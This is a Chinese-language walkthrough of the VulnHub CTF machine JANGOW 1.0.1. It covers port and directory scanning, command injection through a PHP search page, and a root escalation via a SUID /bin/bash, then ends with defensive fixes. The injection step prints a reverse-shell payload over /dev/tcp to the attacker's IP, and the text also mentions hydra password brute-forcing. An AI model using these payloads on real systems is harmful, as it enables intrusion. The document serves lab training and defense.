1. 靶场环境概述JANGOW: 1.0.1是VulnHub平台上发布的CTF风格渗透测试靶机基于Ubuntu系统构建。这个故意设计存在漏洞的虚拟机环境模拟了真实Web应用中常见的配置缺陷和安全漏洞组合。我在本地VMware Workstation 16 Pro上部署测试时发现其IP自动分配为192.168.56.107具体地址可能因网络配置而异。注意建议使用NAT或Host-Only网络模式避免将漏洞环境暴露在真实网络中。我使用的攻击机是Kali Linux 2023.2与靶机处于同一虚拟网络段。2. 信息收集阶段2.1 基础网络扫描首先用nmap进行基础扫描nmap -sV -T4 -p- 192.168.56.107扫描结果显示开放了两个关键端口21/tcpvsftpd 3.0.3存在已知漏洞版本80/tcpApache httpd 2.4.182.2 Web目录探测使用dirb进行目录爆破时发现关键路径dirb http://192.168.56.107 /usr/share/wordlists/dirb/common.txt返回结果中/site/目录特别值得关注该路径下存在可执行命令注入漏洞的PHP页面。3. 漏洞利用过程3.1 初始访问获取在/site/目录下的search.php页面通过Burp Suite拦截搜索请求发现未过滤的command参数POST /site/search.php HTTP/1.1 Host: 192.168.56.107 [...] searchtestcommandls-la成功执行系统命令后建立反向shell连接commandbash-cbash-i%26/dev/tcp/192.168.56.108/44440%261在攻击机监听4444端口获得初始shell。3.2 权限提升路径3.2.1 系统信息收集查看内核版本和用户权限uname -a id发现系统运行Linux 4.4.0-21-generic内核当前为www-data用户。3.2.2 SUID文件分析查找具有SUID权限的可执行文件find / -perm -4000 2/dev/null发现/bin/bash异常设置了SUID位直接通过bash -p获取root权限/bin/bash -p4. 漏洞根源分析4.1 主要安全问题命令注入漏洞search.php未对用户输入的command参数做任何过滤PHP的exec()函数直接执行系统命令配置缺陷/bin/bash不必要地设置了SUID位vsftpd使用存在漏洞的3.0.3版本权限管理问题Web服务以过高权限运行未实施最小权限原则5. 防御方案建议5.1 开发层面输入验证// 修复后的command参数处理 $allowed_commands [ls, grep, find]; if(in_array($_POST[command], $allowed_commands)) { exec(escapeshellcmd($_POST[command])); }使用白名单机制限制可执行命令5.2 系统层面移除不必要的SUID权限chmod u-s /bin/bash升级服务软件apt-get update apt-get upgrade vsftpd配置AppArmor或SELinux限制Web服务权限6. 学习价值总结这个靶场典型地展示了未过滤用户输入导致的RCE漏洞配置错误引发的权限提升风险防御纵深缺失的严重后果建议渗透测试学习者重点关注命令注入漏洞的多种利用方式Linux系统权限机制的理解从攻击者视角思考防御方案我在实际测试中发现当获得www-data权限后检查/etc/passwd可发现机器还设置了多个弱密码账户这提供了额外的提权路径。通过hydra爆破这些账户密码也是可行的攻击向量。